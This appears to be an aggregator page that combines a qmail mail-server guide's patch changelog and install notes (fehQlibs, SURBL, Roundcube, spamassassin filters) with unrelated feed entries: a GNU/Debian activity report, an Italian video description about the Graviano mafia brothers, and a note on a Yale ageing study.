    * dk-filter: corrected a bug where dk-filter was using DKIMDOMAIN unconditionally. Now it uses DKIMDOMAIN only if _SENDER is null (tx Manvendra Bhangui).
  • 2020.07.27
    - new combined patch
    * added a fix for cve-2005-1513 (tx C for the hint)
  • 2020.07.15 
    - spamassassin: added Razor2, Pyzor, Spamcop configuration
    - Roundcube/markasjunk plugin has now info about the cmd_learn and the multi_driver drivers
    (tx Gabriel Torres)
  • 2020.07.03
    Roundcube/password plugin: added a patch to make it work in combination with cracklib, to enforce password strenght (tx Tony Fung)
  • 2020.06.10
    Roundcube: upgrade to v. 1.4.5 
  • 2020.05.22
    new qmailadmin skin/combined patch released
  • 2020.05.05
    -qmailadmin
    * patched qmailadmin to provide a new responsive skin for the control panel.
    * combined patch released
  • 2020.05.01
    -qmailadmin
    * added qmailadmin-cracklib patch to enforce password complexity
    * pwd-strenght patch removed
  • 2020.04.25
    -combined patch updated
    * qmail-smtpd.c: added rcptcount = 0; in smtp_rset function to prevent the maxrcpto error if control/maxrcpt limit has been exceeded in multiple messages sent sequentially rather than in a single mail (tx Alexandre Fonceca)
  • 2020.04.16
    - new combined patch: qmail-remote-logging patch added (more info here)
  • 2020.04.10
    - new combined patch: DKIM patch updated to v. 1.28
    * outgoing messages from null sender ("<>") will be signed as well with the domain in env variable DKIMDOMAIN
    * declaring NODK env variable disables old domainkeys signature, while defining NODKIM disables DKIM.
  • 2020.03.31
    - DKIM configuration: added UNSIGNED_SUBJECT variable to the run files, which can be useful to declare if one wants to allow messages without the sign of the subject (more info here)
    2020.03.19
    dovecot: added the autoexpunge setting in 15-mailbox.conf. The expunge via cronjob in not needed anymore
  • 2020.02.26
    vqAdmin: fixed a problem which was preventing the patch to be applied (tx Marco Varanda)
  • 2020.02.25
    dovecot: modified 10-master.conf to set up stats' service priviledges and correct an error which appeared in qmail-send
  • 2020.02.11
    table spamassassin.txrep modified as the column "count" was renamed (tx Tony Fung).
  • 2020.02.06
    queue-repair.py: applied a patch to make the program python3 compliant (tx Tony Fung)
  • 2020.02.04
    dovecot-sql.conf.ext: adjusted the user_query string to get compatibility with mariadb-10.3 (tx Tony Fung)
  • 2020.01.11
    - new combined patch: qmail-tls patch updated to v. 20200107
    * working client cert authentication with TLSv1.3
  • 2019.12.12
    spamassassin: upgraded to v. 3.4.3
  • 2019.12.08
    - big patch updated
    * qmail-smtpd.c: now TLS is defined before chkuser.h call, to avoid errors on closing the db connection (tx ChangHo.Na) 
    - domainkeys script improved: it now manages 2048 bit long key (tx Tatsuya Yokota)
  • 2019.12.01
    dovecot: upgraded to v. 2.3.8
    dovecot-pigeonhole: upgraded to v. 0.5.8
    Roundcube: upgraded to v. 1.4.1 (mobile responsive skin released!)
    Roundcube plugins: updated
  • 2019.09.18
    spamassassin: added a page concerning TxRep and another one concerning DMARC filter
  • 2019.09.09
    dovecot: now the SQL user_query retrieves the quota as well (tx Alexandre Fonceca, more info here)
  • 2019.08.07
    - a couple of adjustments to chkuser (tx Luca Franceschini, more info here)
    * BUG - since any other definition of starting_string ends up as "DOMAIN", if starting_string is otherwise defined, chkuser will be turned off.
    * CHKUSER_ENABLE_ALIAS_DEFAULT, CHKUSER_VAUTH_OPEN_CALL and CHKUSER_DISABLE_VARIABLE are now defined in chkuser_settings.h
    * Now CHKUSER_DISABLE_VARIABLE, CHKUSER_SENDER_NOCHECK_VARIABLE, CHKUSER_SENDER_FORMAT_NOCHECK, CHKUSER_RCPT_FORMAT_NOCHECK and CHKUSER_RCPT_MX_NOCHECK can be defined at runtime level as well.
  • 2019.07.12
    - qmail-channels patch added
    more info here http://www.thesmbexchange.com/eng/qmail-channels_patch.html 
    - improved verbosity of die_read function in qmail-smtpd.c (qmail-smtpd: read failure). More info here.
  • 2019.06.19
    - DKIM patch updated to v. 1.26
    * BUG - honor body length tag in verification
  • 2019.05.24
    - qmail-tls patch updated to v. 20190517
    * bug: qmail-smtpd ssl_free before tls_out error string (K. Wheeler)
  • 2019.05.23
    - DKIM patch updated to v. 1.25
    * SIGSEGV - when the txt data for domainkeys is very large exposed a bug in the way realloc() was used incorrectly.
    * On 32 bit systems, variable defined as time_t overflows. Now qmail-dkim will skip expiry check in such conditions.
  • 2019.04.25
    * bug fixed on qmail-smtpd.c: it was selecting the wrong openssl version on line 2331 (tx ChangHo.Na)
    2019.04.09
    - qmail-tls patch updated to v. 20190408
    * make compatible with openssl 1.1.0 (Rolf Eike Beer, Dirk Engling, Alexander Hof)
    * compiler warnings on char * casts (Kai Peter)
  • 2019.04.03
    - libdomainkeys patch updated (tx Manvendra Banghui)
  • 2019.03.22
    - new combined patch: fixed a bug causing crashes of qmail-remote when using openssl-1.1 (tx Luca Franceschini)
  • 2019.02.27
    - port to openssl-1.1
    - DKIM patch updated to v. 1.24
    * bug fix: restored signaturedomains/nosignaturedomains functionalities.
  • 2019.02.26
    simscan: patch updated (tx Pablo Murillo)
    vQadmin: some adjustments into apache config and it's working again under apache-2.4 (tx Erald)
  • 2019.02.01
    fail2ban upgraded to v. 0.10.4
  • 2018.09.23
    spamassassin upgraded to v. 3.4.2
  • 2018.08.25
    -DKIM patch updated to v. 1.23
    * fixed a bug where including round brackets in the From: field ouside the double quotes (From: "Name Surname (My Company)" <name.surname@company.com>) results in a DKIMContext structure invalid error (tx Mirko Buffoni).
    * qmail-dkim and dkim were issuing a failure for emails which had multiple signature with at least one good signature. Now qmail-dkim and dkim will issue a success if at least one good signature is found.
  • 2018.08.23
    -logging patch updated to v. 5
    * fixed a bugin logit and logit2 functions where a RSET command and a subsequent brutal quit of the smtp conversation ^] by the client cause a segfault (tx Mirko Buffoni, more info here)
  • 2018.08.02
    ezmlm-web: Ricardo Brisighelli sent me two patches which solves compilation breaks with gcc-7
  • 2018.06.22
    -clamav updated to v. 0.100.0
  • 2018.04.06
    -added a patch to daemontools to extend the log file size limit to 100MB (tx Sam Tang)
  • 2018.04.04
    -qmailctl script updated (tx Sam Tang)
    * "qmailctl stat" now shows something like "0 days, 00 hours 16 mins"
    * can assign another service which related qmail for monitoring, like dovecot, clamd, freshclam...
    * change "up" and "down" to green and red color.
  • 2018.04.03
    -DKIM patch updated to v. 1.22
    * openssl 1.1.0 port
    * various improvements, bug fixes
  • 2018-03-21
    added a new page to explain how to install a letsencrypt certificate for qmail and dovecot here
  • 2018-02-07
    clamav updated to v. 0.99.3 (bug fix, tx to Bob Greco
  • 2018-01-10
    == combined patch updated
    -maildir++
    * fixed a bug where the filesize part of the S=<filesize> component of the Maildir++ compatible filename is wrong (tx MG). More info here and here.
    -qmail-queue-extra
    * removed, because it was causing more problems than advantages, as the domain of the log@yourdomain.tld had to match the system domain inside control/me and can't be a virtual domain as well.
    == dovecot: upgraded to v. 2.3.0
    == dovecot-pigeonhole: upgraded to v. 0.5.0.1 
  • 2017-10-24
    new patch arrived (tx Luca Franceschini)
    -qlogfix (diff here)
    * log strings should terminate with \n to avoid trailing ^M using splogger
    * bug reporting custom errors from qmail-queue in qlog
    -added dnscname patch
    -added rcptcheck patch
    added rcptcheck-overlimit.sh (tx Luca Franceschini)
    added a page about rcptcheck-overlimit.sh usage
  • 2017-09-05
    Roundcube upgraded to v. 1.3.1. The enigma plugin requires Crypt_GPG-1.6.2
  • 2017-08-24
    -fail2ban: the qmail-smtpd.conf filter has been simplyfied and is now based on the "qlogenvelope" lines 
  • 2017-08-18
    -combined patch updated: qmail-smtpd now retains authentication upon rset (tx to Andreas)
  • 2017-07-05
    -roundcube upgraded to v. 1.3.0
  • 2017-05-14
  • Combined patch updated:
    DKIM patch updated to v. 1.20
    It now manages long TXT records, avoiding the rejection of some hotmail.com messages.
  • 2017-03-02
    -ucspi-tcp6 upgraded to v. 1.04 (some bug fixes http://www.fehcom.de/ipnet/ucspi-tcp6.html)
  • 2016-12-19
    -Several new patches and improvements added (thanks to Luca Franceschini)
    More info here http://notes.sagredo.eu/node/178
  • 2016-12-14
    simscan: bug fix and new combined patch (thanks to Bob Greco, more info here)
  • 2016-12-02
    -fixed BUG in qmail-remote.c: in case of remote server who doesn't allow EHLO the response for an alternative
    HELO was checked twice, making the connection to die. (Thanks to Luca Franceschini)
    Patch applied: http://notes.sagredo.eu/files/qmail/patches/fix_sagredo_remotehelo.patch
  • 2016-09-19
    -big patch updated: qmail-tls patch updated to v. 20160918
      * bug: qmail-remote accepting any dNSName, without checking that is matches (E. Surovegin)
      * bug: documentation regarding RSA and DH keys (K. Peter, G. A. Bofill)
  • 2016-08-06
    qmailadmin: added the ezmlm-idx 7 compatibility patch
    2016-08-04
  • ucspi-tcp6 upgraded to v. 1.02
  • 2016-07-20
    -roundcube: added enigma plugin
  • 2016-05-31
    -roundcube upgraded to v. 1.2.0. All plugins updated as well
  • 2016-05-15
    -force-tls patch improved (a big thanks to Marcel Telka). Now qmail-smtpd avoids to write the auth verb if the
    the STARTTLS command was not sent by the client
  • 2016-03-09
    -combined patch updated
    * dkim patch updated to v. 1.19: verification will not fail when a dkim signature does not include the subject provided that the  UNSIGNED_SUBJECT environment variable is declared. More info here.
  • 2016-01-18
    -removed the line "DKIMKEY=/var/qmail/control/domainkeys/%/default" from the qmail rc config file, as DKIMKEY is actually ignored by dk-filter, which will look for the key in that location by default. Use DKIMSIGN instead to define yor domainkey location (thanks to Steffen for the hint)
  • 2015-12-26
    qmail-tls updated to v. 20151215
    * typo in #if OPENSSL_VERSION_NUMBER for 2015-12-08 patch release (V. Smith)
    * add ECDH to qmail-smtpd
    * increase size of RSA and DH pregenerated keys to 2048 bits
    * qmail-smtpd sets RELAYCLIENT if relaying allowed by cert
    more info here 
    -roundcube upgraded to v. 1.1.4 (security fixes, more info here)
  • 2015-12-15
    -DKIM patch updated to v. 1.18 (a big thank to Manvendra Bhangui for his kind support). More info here
    2015-11-23
    qmail-submission/run modified: SMTPAUTH="!" to enable the submission feature (auth required). Now incoming msg can be received only on standard 25 port 
  • 2015-10-06
    -fail2ban upgraded to v. 0.9.3
  • 2015-10-03
    -new combiend patch released: qmail-authentication updated to v. 0.8.3
  • 2015-09-02
    dovecot: the user query on the auth is now able to manage pop3/imap/webmail vpopmail limits (thanks to Arturo Blanco)
  • 2015-08-29
    vQadmin: combined patch released (more info inside the patch itself)
  • 2015-08-08
    -fixed a bug on qmail-remote.c that was causing the sending of an additional ehlo greeting (thanks to Cristoph Grover)
  • 2015-05-28
    qmailadmin: added a patch to log auth failures (thanks to Tony)
    fail2ban: added a filter against qmailadmin log failures
  • 2015-05-03
    spamassassin: upgraded to v. 3.4.1
  • 2015-04-25
    qmailadmin: added a patch to check for the password strenght
  • 2015-04-11
    -combined patch updated: 
    --qmail-authentication: upgraded to v. 0.8.2
    --qmail-tls: upgraded to v. 20141216 (POODLE vulnerability fixed)
  • 2015-03-28
    -combined patch updated: added qmail-empf patch
  • 2015-02-25
    the home page graphic of qmailadmin has copyright issues as shown here (thanks to Marc for the hint)
  • 2015-02-17
    roundcube: upgraded to v. 1.1.0. All plugins have been upgraded as well
  • 2015-01-10
    roundcube: added carddav plugin
  • 2014-11-20
    combined patch updated:
    -the SSLv3 connection upon the auth was switched off because of security reasons (thanks to Florian).
  • 2014-11-15
    combined patch updated:
    -modified the QUEUE_EXTRA variable in extra.h to record the Message-ID in the qmail-send's log (thanks to Simone for the hint). Look here for details.
  • 2014-11-08
    simscan has been improved with the jms patch. The work dir is mounted as a ramdisk now
  • 2014-10-29
    fail2ban: qmail-smtp.conf filter updated to look for GREETDELAY lines
  • 2014-10-14
    SSLv3 disabled on dovecot because of security reasons (more info here)
  • 2014-10-14
    dovecot upgraded to v. 2.2.14
    dovecot-pigeonhole recompiled
  • 2014-10-04
    dovecot upgraded to v. 2.2.14.rc1
    dovecot-pigeonhole upgraded to v. 0.4.3
    the global sieve folder was moved to /usr/local/dovecot/etc/sieve/
  • 2014-09-29
    roundcube upgraded to v. 1.0.3.
    added a roundcube-auth filter to fail2ban
  • 2014-08-26
    roundcube upgraded to v. 1.0.2. Fixed some errors in the relative page, as sometime the $config variable was still $rcmail_config as in the past, and all the config files are now merged into config.inc.php (thanks to Otto)
  • 2014-08-24
    the log rotation of qmail is managed by the jms'  https://qmail.jms1.net/scripts/convert-multilog. Thanks to Marc for the suggestion
  • 2014-08-18
    added a page concerning fail2ban setup
  • 2014-05-13
    clamav upgraded to v. 0.98.3
    roundcube upgraded to v. 1.0.1
    ezmlm-idx upgraded to v. 7.2.2
    qmailadmin recompiled against ezmlm-idx-7.2.2
  • 2014-05-03
    ezmlm-idx upgraded to v. 7.2.0
    Bruce Guenter has released a new version of ezmlm-idx, getting the program to be compliant with the Yahoo DMARC Policy Change. You have to recompile qmailadmin against ezmlm as well.
  • 2014-04-14
    combined patch updated:
    -added qmail-maxrcpt patch, which allows you to set a limit on how many recipients are specified
  • 2014-04-08
    roundcube upgraded to v. 1.0.0
  • 2014-03-10
    combined patch updated:
    -added qmail-smtpd-liberal-lf patch, which allows qmail-smtpd to accept messages that are terminated with a single \n instead of the required \r\n sequence. This should avoid some "read failed" reject.
  • 2014-02-14
    spamassassin upgraded to v. 3.4.0
  • 2014-01-10
    roundcube upgraded to v. 1.0-rc. Plugins have been upgraded as well
  • 2014-01-24
    ucspi-tcp6 upgraded to v. 1.00: fixed problems when compiling with C99 compilers
  • 2013-12-30
    combined patch updated:
    -added qmail-SRS patch. You must install libsrs2 now.
    -the character "=" in the sender address is now considered valid by chkuser in order to accept SRS
  • 2013-12-20
    combined patch update (more info here):
    -added qmail-date-localtime patch
    -added qmail-hide-ip patch
    -the original greetdelay by e.h. has been replaced with the improved patch by John Simpson. Now communications trying to send commands before the greeting will be closed. Premature disconnections will be logged as well. More info here
    -modified the configuration of qmail-smtpd and qmail-submission according to the new greetdelay patch
    -updated the page concerning greetdelay
    -CHKUSER_SENDER_FORMAT enabled to reject fake senders without any domain declared (like )
    -chkuser logging: I slightly modified the log line adding the variables' name just to facilitate its interpretation
    -added qmail-moreipme patch
    -added qmail-dnsbl patch (more info here)
    -added a page concerning qmail-dnsbl patch
  • 2013-12-05
    added two patches to my combined patch to make qmail rfc2821 compliant
  • 2013-11-23
    any-to-cname patch added to the combined patch
  • 2013-10-30
    Added two contributions by Costel Balta:
    -how to avoid to be "cut off" from spamhaus.org (read here)
    -adding the foxhole db to clamav (on the bottom of the clamav page)
  • 2013-09-27
    -DKIM patch upgraded to v. 1.17. Defined -DHAVE_SHA_256 while compiling dkimverify.cpp in the Makefile. This solved an issue while verifying signatures using sha256.
  • 2013-09-16
    Minor fixes to the DKIM patch
  • 2013-09-14
    -new combined patch released. The DKIM patch has been upgraded to v. 1.16; the signing at qmail-remote level has been revised by its author.
    -I added notes about qmail-remote signing in the DKIM page of this guide.
    -the domainkey program now gives ownership of the domainkey to qmailr, which runs qmail-remote
  • 2013-08-25
    -qmail-qmqpc.c call to timeoutconn() needed a correction because the function signature was modified by the
     outgoingip patch. Thanks to Robbie Walker
     (diff file here http://notes.sagredo.eu/files/qmail/patches/qmail-qmqpc.diff)
  • 2013-08-22
    ucspi-tcp6: upgraded to v. 0.99. The current version includes an hack by Manvendra Bhangui from indimail.org which gets tcpserver and qmail's spfcheck to be IPv4-mapped IPv6 addresses compliant, provided that you install his modified qmail-spf patch (my combined patch already has this adjustment to spf).
    Fot those interested, a few days ago Manvendra Bhangui released a package of patches including now not only DKIM and SURBL but also SPF and the entire qmail totally IPv6 compliant. The upgrade for me is not so straightforward, but I'm planning to have it in my big patch soon or later. For the moment you can play with it downloading from http://sourceforge.net/projects/indimail/files/netqmail-addons/qmail-dkim-1.0/
  • 2013-08-21
    -big patch updated: fixed a bug in hier.c which caused the installation not to build properly the queue/todo dir structure (thanks to Scott Ramshaw)
  • 2013-08-19
    -DKIM-SURBL patch by Manvendra Bhangui updated to v. 1.14
    -added a page about SURBL configuration
  • 2013-08-12
    -DKIM patch upgraded to v. 1.12. The new patch adds surblfilter functionality.
    -added qmail-smtpd pid, qp log patch
  • 2013-08-08
    -qmail-SPF modified by Manvendra Bhangui to make it IPv4-mapped IPv6 addresses compliant. In order to have it working with such addresses you have to patch tcpserver.c accordingly. You can use a patch fot ucspi-tcp6-0.98 by Manvendra Bhangui at http://notes.sagredo.eu/files/qmail/patches/tcpserver-ipv6mapped_ipv4.patch or wait for v. 0.99 relase of ucspi-tcp6
    -added outgoingip patch
    -added qmail-bounce patch
  • 2013-05-20
    dovecot: upgraded to v. 2.2.2
    dovecot-pigeonhole: rebuilt
  • 2013-05-18
    Roundcube: upgraded to v. 0.9.1
  • 2013-05-09
    -dovecot-pigeonhole: upgraded to stable 0.4.0 version
  • 2013-05-06
    -dovecot: upgraded to v. 2.2.1 The configuration has been modified to use the sql/mysql driver in place of the vpopmail one; the password is now sended in plain text
    -dovecot-pigeonhole: upgraded to latest development version
    -RoundCube: imap_auth_type has been set to NULL to send the password in plain text and make dovecot's auth happy
    -the dovecot's expunge shell script was simplyfied. Using the sql driver solved all issues of the old vpopmail backend related to the missing iteration feature.
  • 2013-04-16
    Roundcube: upgraded to v. 0.9.0
    All rc plugins have been updated as well
  • 2013-03-31
    new combined patch: qmail-auth updated to latest v. 0.8.1 Added authentication by recipient domain for qmail-remote. Look at README.auth for further details
  • 2013-02-11
    new combined patch: some code adjustments in qmail-smtpd.c smtpd_ehlo() to restore total compatibility with esmtp-size patch
  • 2013.02.08
    new combined patch: qmail-auth has been updated to the latest v. 0.7.6. Look at README.auth for further details
    ucspi-tpc6: updated to v. 0.98
  • 2013.01.28 new combined patch released: fixed an issue on qmail-pop3d which was causing a double +OK after the pass command (thanks to Rakesh, Orbit and Simplex for helping in testing and troubleshooting)
  • 2013.01.27 ucspi-tpc6: updated to v. 0.97
  • 2013.01.06 ucspi-tpc6 0.96 by E.Hoffmann replace the ucspi-tcp 0.88 by DJB. It provides IPv6 and rblsmtpd greetdelay support
    combined patch modified. The variable GREETDELAY was renamed to SMTPD_GREETDELAY just to avoid conflicts with the GREETDELAY variable inside rblsmtpd
    qmail-smtpd/run file modified accordingly
  • 2012.11.14 Roundcube: upgraded to v. 0.8.4
  • 2012.11.10 Roundcube: upgraded to v. 0.8.3. Autologon plugin: modified
  • 2012-10-31 new combined patch: qmail-auth has been updated to the latest v. 0.7.5. Look at README.auth for further details
    The qmail-forcetls patch was simplyfied accordingly.
  • 2012.10.25 vpopmail: upgraded to v. 5.4.33 (now marked as stable). Be aware that you have to recompile netqmail, qmailadmin and vqadmin as well.
    qmailadmin: upgraded to v. 1.2.16
  • 2012.10.19 Roundcube: added context menu, autologon and logout_redirect plugins
  • 2012.10.18 Roundcube: upgraded to v. 0.8.2
  • 2012.10.11 dovecot: upgraded to v. 2.1.10
    dovecot-pigeonhole: upgraded to v.0.3.3
  • 2012.10.10 fixed vQadmin 'invalid language' issue (see vQadmin page for details http://notes.sagredo.eu/it/node/57)
  • 2012.09.19 ClamAV: upgraded to v. 0.97.6
  • 2012.09.04 zipdownload Roundcube's plugin: modified to gain compatibility to v. 0.8.1 (thanks to taki)
  • 2012.08.31 Roundcube: upgraded to v. 0.8.1
    dovecot: upgraded to v. 2.1.9
    dovecot-pigeonhole: recompiled
  • 2012.08.11 Roundcube: upgraded to v. 0.8.0
  • 2012.05.26 dovecot-pigeonhole: upgraded to v 0.3.1
  • 2012.05.24 dovecot: upgraded to v. 2.1.6
  • 2012-04-25 new combined patch: added qmail-remote CRLF (thanks to Pierre Lauriente for the help on testing and troubleshooting)
    The qmail-remote CRLF patch solved a problem of broken headers after sieve forwarding that was caused by a bad handling of the CR (carriage return) by qmail-remote. The issue is also reported here http://www.dt.e-technik.uni-dortmund.de/~ma/qmail-bugs.html
  • 2012.04.16
    qmail-tap added to my combined patch
  • 2012.03.03 dovecot: upgraded to v. 2.1.1
    The configuration files have been updated: the most important change was the location of auth_socket_path variable inside 10-mail.conf
  • 2012.02.17 dovecot: upgraded to v. 2.1.0
    dovecot-pigeonhole: upgraded to v.0.3.0
  • 2012.02.08: esmtp-size patch added to my combined patch
  • 2012.01.29: New combined patch released: added doublebounce-trim patch
  • 2012.01.21 Roundcube: updated to v. 0.7.1. All plugins have been updated to latest version as well.
  • 2011.12.13 dnsbl.sorbs.org is not on my RBL examples anymore, as it proved to be a bad list. It's rejecting gmail's IPs and also confusing the IP of my own server as dynamic.
  • 2011.12.12 New combined patch released.
    -modified update_tmprsadh to chown the .pem files to vpopmail to avoid hang-ups during the smtp conversation on port 587 caused by permission problems.
  • 2011.10.06 New combined patch released.
    -fixed qmail-remote.c which was not going into tls on authentication (thanks to Krzysztof Gajdemski)
    -force-tls now quits if the starttls command is not provided when required (thanks to Jacekalex)
  • 2011.09.30 Dovecot: upgraded to v. 2.0.15
    dovecot-pigeonhole: upgraded to v . 0.2.4
    ICU: upgraded to v. 4.8.1
  • 2011.09.29 RoundCube: upgraded to v. 0.6. All plugins have been updated to latest version
  • 2011.08.13 RoundCube: upgraded to v. 0.5.4 (security fix)
  • 2011.07.27: Big patch updated. My force-tls patch allows the management of STARTTLS and CRAM-MD5 variables in the run file, so that there's no need to recompile each time anymore.
    I also added the "qmail-inject-null-sender" patch by Stéphane Cottin, which addresses a bug on qmail-inject
  • 2011.07.23 The configuration of dovecot was updated to allow maildir++ (thanks to Nicolas) on files 90-quota.conf and 20-imap.conf
  • 2011.07.15 The combined patch has been updated: an issue which caused the compilation's break down of qmail on 64b platforms has been fixed
  • 2011.07.03 Added support for rblsmtpd. Added a page about the greetdelay patch.
  • 2011.06.29 New combined patch released. Added ext-todo and big-todo patches, which adress the "silly qmail syndrome" on big servers.
  • 2011.06.24 Spamassassin: updated to v. 3.3.2
  • 2011.06.02 Roundcube: updated to v. 0.5.3 (2 important bug fixes)
  • 2011.05.29 Dovecot: added a page concerning the purging of expired emails from Trash/Junk
  • 2011.05.25 RoundCube: updated to v. 0.5.2. Updated almost all roundcube's plugin to latest version.
  • 2011.05.17 Added Luca Morettoni's qmail-rblchk
  • 2011.04.19 Dovecot-2.0.12 upgrade; dovecot-pigeonhole v.0.2.3 upgrade
  • 2011.04.06 Vermulen's TLS patch updated (security fix, see http://www.kb.cert.org/vuls/id/555316).
    New qmail combined patch releasead.
  • 2011.02.25 Added DKIM patch and related page

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  • 2010.12.12 first release of this guide and related patch

Razor2, Pyzor, Spamcop e DCC

2 Giugno 2026 ore 18:30

Changelog

  • May 7, 2026
    Razor-Agent-Client upgraded to v. 2.88
  • Jun 3, 2025
    - disabled IPv6 on DCC as servers are not always responding (tx Shailendra Shukla)
  • Dec 26, 2023
    Pyzor installed from github, as version 1.0.0 is not pythone3 compliant (thanks Mike)

Questa pagina concerne il setup di alcuni filtri di rete che aiutano spamassassin a decidere cosa fare di un dato messaggio. Abilitando questi filtri, insieme al sistema di apprendimento bayesiano, migliorerà drasticamente le prestazioni di spamassassin nella lotta allo spamming.

Plugins per Roundcube

2 Giugno 2026 ore 18:30

Changelog

  • Apr 27, 2026
    - qmailforward upgraded to v1.0.5 (bug fix: sql call is not done if the forward is not a valid email address)
  • Dec 19, 2025
    - composer is now installed in /usr/local/bin and not in RC dir
  • Apr 19, 2025
    - sauserprefs aggiornato alla versione 1.20.2
  • 23 marzo 2025
    - il driver vpopmaild del plugin password è nuovamente funzionante, ora che il problema è stato sistemato dal lato vpopmail (versione 5.6.7 in poi).

 

Configurazione di SURBL per qmail

2 Giugno 2026 ore 18:30

Le SURBL sono liste di siti web che appaiono nel corpo della posta indesiderata. Diversamente dalla maggior parte delle liste non sono liste di indirizzi IP.

I siti web che appaiono nei messaggi di posta indesiderata tendono ad essere più stabili rispetto agli indirizzi IP in rapido cambiamento dei botnet che sono soliti inviare la maggior parte di questi messaggi. Le liste di IP come zen.spamhaus.org possono essere usate in un primo stadio di filtraggio per aiutare a identificare da circa l'80% al 90% dei messaggi di posta indesiderata. Le liste SURBL possono contribuire a eliminare il restante 75% della posta indesiderata in un successivo stadio di filtraggio. Usate insieme alle liste di IP (RBL), le SURBL risultano un metodo molto efficace per identificare fino al  95% della posta indesiderata.

Changelog

  • Mar 29, 2026
    - aggiunta una nota sui control file
  • Feb 17, 2026
    - added notes to testing section
  • Sep 26, 2023
    -surblfilter logs the rejected URL in the qmail-smtpd log. It can now inspect both http and https URLs.
    -Improvements in man dkim.9, qmail-dkim.9 and surblfilter.9
  • May 17, 2023
    -Top level domains URL is changed. So you have to adjust the update_tlds.sh script accordingly

fehQlibs

8 Agosto 2026 ore 05:01
  • Maggiori informazioni qui
  • Versione: fehQlibs-31

Le fehQlibs sono librerie C aggiuntive sviluppate da Erwin Hoffmann. Sono un prerequisito di ucspi-tcp6 e di ucspi-ssl.

Installare come segue in /usr/local:

FEQLIBS_VER=31
cd /usr/local
wget https://www.fehcom.de/ipnet/fehQlibs/fehQlibs-${FEQLIBS_VER}.tgz
tar xzf fehQlibs-${FEQLIBS_VER}.tgz 
chown -R root:root fehQlibs-${FEQLIBS_VER}
cd fehQlibs-${FEQLIBS_VER}

Cambiare la cartella di installazione modificando il file conf-build come segue

LIBDIR=/usr/local/lib 
HDRDIR=/usr/local/include 

Compilare e installare

make -C src
make -C src shared
make -C src install 

cd ..
rm qlibs
ln -s fehQlibs-${FEQLIBS_VER} qlibs

Le qlibs dovranno essere trovate al momento della compilazione di ucspi-tcp6, quindi dobbiamo aggiungerle al file /etc/ld.so.conf:

echo "/usr/local/qlibs" >> /etc/ld.so.conf
ldconfig

In genere nei sistemi Unix si può lanciare questo comando per ottenere lo stesso risultato e linkare le librerie qlib:

ldconfig -m /usr/local/qlibs

Su NetBSD ho messo questo nel .profile

export LD_LIBRARY_PATH=/usr/local/qlibs${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}

Amin Bandali: Free software activities in May 2026

1 Giugno 2026 ore 04:30

Hello and welcome to my May 2026 free software activities report. A lot's been going on in my life offline so I took a bit of a hiatus from doing these reports, but I've had a fairly productive month of May so I thought it'd be nice to do another one for this month.

GNU & FSF

  • GNU Emacs:
    • ffs-0.2.2: I finally polished and published my ffs package for GNU Emacs on GNU ELPA. Many thanks to Protesilaos for rounds of code review and feedback for improving and polishing the package in preparation for submission to GNU ELPA.
    • bug#81101: Trying to visit https://www.emacswiki.org in EWW I noticed it fails with a Somebody wants you to give them money error due to the anti-bot challenge being served with a HTTP 402 (Payment Required) response. So I landed a patch 12eec781ed6 to no longer do that. Thanks to Emacs comaintainer Sean Whitton for reviewing and approving my proposed patch.
    • bug#81107: I noticed that in EWW, unlike <input type="submit"> HTML buttons, <button> elements were not tab-stoppable, leading to poorer usability and accessibility. So I landed a patch ec3d662de0b to fix that. Thanks to Emacs comaintainer Eli Zaretskii for reviewing, providing feedback, and accepting my proposed change.
    • Emacs Chat with Sacha Chua: I joined Sacha for a new episode of her Emacs Chat podcast, where we talked about Emacs and life. I gave a quick tour of my Emacs configuration, discussing at length my configurations for EXWM (Emacs X Window Manager) among other topics like Emacs's facility for visually indicating buffer boundaries in the fringe by setting indicate-buffer-boundaries and my convenience configuration macros.
  • maintainers@: I started the next long-overdue round of emails to GNU package maintainers to confirm the contact information we have on file for them and get a brief status update about their packages. Emails are sent in small batches to keep the workload of handling the responses manageable for assistant GNUisances.
  • GNU Spotlight: I prepared and sent the May GNU Spotlight to the FSF campaigns team for publication on the FSF's community blog and the monthly Free Software Supporter newsletter.

Debian

I've begun the work toward updating the Jami package in Debian unstable again, which means I need to package new releases of its direct and indirect dependencies. For OpenDHT, I need to update RESTinio, and to do that I first need to package expected-lite and sobjectizer for Debian:

  • #1120837: ITP: expected-lite – expected objects for C++11 and later
  • #1137609: ITP: sobjectizer – C++ implementation of Actor, Publish-Subscribe, and CSP models

I've been working on packaging both and hope to have them uploaded to the archive in the next days and weeks.

That's it for this month's report.

Take care, and so long for now.

Fratelli Graviano: Brancaccio, le stragi del 1993 e i segreti di Cosa Nostra

1 Giugno 2026 ore 21:42

💾

Due boss che hanno insanguinato l'Italia intera. I fratelli Graviano — Giuseppe detto "Madre Natura" e Filippo detto "U' Siccu" — hanno guidato il mandamento di Brancaccio nel periodo più feroce di Cosa Nostra, ordinando stragi, omicidi eccellenti e terrorizzando Palermo per anni.

Sotto la loro regia maturarono le stragi del 1993: le bombe di Via dei Georgofili a Firenze, Via Palestro a Milano, San Giovanni in Laterano e San Giorgio al Velabro a Roma. Prima ancora, nel settembre del 1993, fu assassinato Don Pino Puglisi, il parroco che si opponeva alla mafia con le sole armi del Vangelo. Arrestati nel 1994, i Graviano sono tuttora al 41-bis — ma la loro storia non è chiusa.

Cosa trovi in questo video:
✔️ L'ascesa dei fratelli Graviano al controllo del mandamento di Brancaccio a Palermo
✔️ L'omicidio di Don Pino Puglisi: il prete di Brancaccio che sfidò la mafia con il Vangelo
✔️ Le stragi del 1993: le bombe di Firenze, Milano e Roma e il ruolo dei Graviano
✔️ L'arresto a Milano nel gennaio-febbraio 1994 e le condanne all'ergastolo
✔️ Il 41-bis e trent'anni di carcere: cosa sapevano che nessuno ha ancora detto
✔️ Le dichiarazioni esplosive di Giuseppe Graviano nei tribunali italiani: nomi, incontri, trattative

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Uno studio di Yale scopre cambiamenti positivi negli adulti dai 65 anni in su

7 Marzo 2026 ore 08:00

Che cosa c’è dietro un’importante affermazione dell’università di Yale sull’invecchiamento? Lo studio di un suo team di scienziati ribalta l’opinione che diventare anziani sia un male: l’avanzare dell’età offre possibilità di miglioramento, perché? Gli studiosi affermano che è proprio il pensiero degli anziani sull’invecchiare a influenzare un processo che fa i conti con la salute ma ha anche delle potenzialità. Quindi, sono mentalità e pregiudizi che possono incidere sulla qualità della vita dopo gli anta.

